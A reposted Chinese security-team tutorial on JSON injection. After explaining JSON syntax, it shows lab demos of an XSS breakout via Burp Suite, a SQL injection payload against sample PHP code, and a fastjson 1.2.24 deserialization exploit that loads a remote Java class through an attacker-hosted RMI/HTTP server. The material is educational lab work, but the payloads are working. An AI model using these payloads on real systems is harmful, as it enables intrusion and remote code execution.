JSON注入入门

admin 2022年4月19日01:22:32评论81 views字数 4076阅读13分35秒阅读模式
JSON注入入门
泛星安全团队
JSON注入入门

泛星安全团队第8篇文章

声明

文章内容为学习记录,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

JSON注入入门
什么是JSON
JSON注入入门
- JSON 指的是 JavaScript 对象表示法(JavaScript Object Notation)
- JSON 是轻量级的文本数据交换格式
- JSON 独立于语言:JSON 使用 Javascript语法来描述数据对象,但是 JSON 仍然独立于语言和平台。JSON 解析器和 JSON 库支持许多不同的编程语言。目前非常多的动态(PHP,JSP,.NET)编程语言都支持JSON
- JSON 具有自我描述性,更易理解

JSON转换为 JavaScript 对象
JSON文本格式在语法上与创建 JavaScript 对象的代码相同。
由于这种相似性,无需解析器,JavaScript 程序能够使用内建的 eval() 函数,用 JSON 数据来生成原生的 JavaScript 对象。

JSON注入入门
JSON语法
JSON注入入门

语法规则

JSON 语法是 JavaScript 对象表示语法的子集。

  • 数据在名称/值对中
  • 数据由逗号分隔
  • 大括号 {} 保存对象
  • 中括号 [] 保存数组,数组可以包含多个对象

JSON名称/值对

JSON 数据的书写格式是:

key : value

名称/值对包括字段名称(在双引号中),后面写一个冒号,然后是值:

"name" : "这是名字"

这很容易理解,等价于这条 JavaScript 语句:

name = "这是名字"
JSON注入入门
JSON vs XML
JSON注入入门

JSON 和 XML 都用于接收 web 服务端的数据。

JSON 和 XML在写法上有所不同,如下所示:

JSON实例

{    "sites": [    { "name":"name1" , "url":"url1" },     { "name":"name2" , "url":"url2" },     { "name":"name3" , "url":"url3" }    ]}

XML实例

<sites>  <site>    <name>name1</name> <url>url1</url>  </site>  <site>    <name>name2</name> <url>url2</url>  </site>  <site>    <name>name3</name> <url>url3</url>  </site></sites>

最大的不同是:XML 需要使用 XML 解析器来解析,JSON 可以使用标准的 JavaScript 函数来解析。

为什么JSON比XML好?

XML 比 JSON 更难解析。

JSON 可以直接使用现有的 JavaScript 对象解析。

针对 AJAX 应用,JSON 比 XML 数据加载更快,而且更简单:

使用 XML

  • 获取 XML 文档
  • 使用 XML DOM 迭代循环文档
  • 接数据解析出来复制给变量

使用 JSON

  • 获取 JSON 字符串
  • JSON.Parse 解析 JSON 字符串
JSON注入入门
什么是JSON注入
JSON注入入门

JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。

JSON注入入门
JSON注入演示一
JSON注入入门

1、将数据包发往burpsuit。

JSON注入入门

2、将抓到的包发往repeater。

JSON注入入门

3、根据ToolID为5找到对应的JSON语句。

JSON注入入门

4、修改ToolID,获取到简短一点的JSON。

JSON注入入门

5、根据步骤4中的代码对json语句进行闭合。

"}}';alert(/aaa/);//

将查询代码修改为5中的代码后,查询的语句变为。PS:正常情况下要将分号进行编码(%3b)。

var gPenTestToolsJSONString = '{"query": {"toolIDRequested": ""}}';alert(/aaa/);//", "penTestTools": []}}'

在burp中修改ToolID值后发包,此时看到网页弹窗。

JSON注入入门

JSON注入入门
JSON注入演示二
JSON注入入门

源码

<?php  header('content-type:text/html;charset=utf-8');  if(isset($_POST['json'])){    $json_str=$_POST['json'];    $json=json_decode($json_str);    if(!$json){      die('JSON文档格式有误,请检查');    }    $username=$json->username;    //$passwd=$json->password;
  //建立mysql连接,root/root连接本地数据库    $mysqli=new mysqli();    $mysqli->connect('localhost','root','root');    if($mysqli->connect_errno){      die('数据库连接失败:'.$mysqli->connect_error);    }
  //设置数据库名    $mysqli->select_db('security');    if($mysqli->errno){      dir('打开数据库失败:'.$mysqli->error);    }
  //数据库编码格式    $mysqli->set_charset('utf-8');
  //从users表中查询username,password字段    $sql="SELECT username,password FROM users WHERE username='{$username}'";    $result=$mysqli->query($sql);    if(!$result){      die('执行SQL语句失败:'.$mysqli->error);    }else if($result->num_rows==0){      die('查询结果为空');    }else {      $array1=$result->fetch_all(MYSQLI_ASSOC);      echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";    }    $result->free();    $mysqli->close();  }?>

1、由源码分析出是:

  • 根据POST请求获取的JSON
  • 根据JSON的username值到数据库中进行查询
  • 字符型注入

2、构造对应的payload进行查询。

json={"username":"admin' and 1 = 1#"}

JSON注入入门

JSON注入入门

靶机 Vulhub
fastjson 1.2.24 反序列化导致任意命令执行漏洞

环境

靶机:192.168.225.132

kali:192.168.225.129

1、开启靶机。

sudo docker-compose up -d

JSON注入入门

2、访问靶机对应端口。

JSON注入入门

3、抓包后修改数据发现能够直接回显。

JSON注入入门

4、因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

保存下方代码为TouchFile.java。PS:java中文件名必须和类名一致,否则会报错。

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/success"};//在靶机tmp下新建文件夹            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

5、根据目标环境的java版本,在编译软件中选择对应的java版本编译,编译后得到.class文件。

JSON注入入门

6、在kali中开启http服务以及rmi服务供靶机远程调用。

开启http

python -m SimpleHTTPServer 7777

JSON注入入门

开启rmi

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.225.129:7777/#TouchFile" 9999

JSON注入入门

7、向靶机发送payload。

POST / HTTP/1.1Host: 192.168.225.132:8090Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 167Content-Type: application/json
{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.225.129:9999/TouchFile",        "autoCommit":true    }}

JSON注入入门

8、登录靶机,文件成功创建,此处注意需要进入对应docker。

sudo docker pssudo docker exec -it 5b02 bash

JSON注入入门

9、kali效果图。

JSON注入入门

往期回顾

从sql注入到内网

HackTheBox:10.10.10.180靶机记录

vulnhub:CHILL HACK靶机记录

回炉重造 | 精通php反序列化之道

·END·

泛星安全团队

JSON注入入门

原文始发于微信公众号(千寻安服):JSON注入入门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日01:22:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JSON注入入门http://cn-sec.com/archives/926041.html

发表评论

匿名网友 填写信息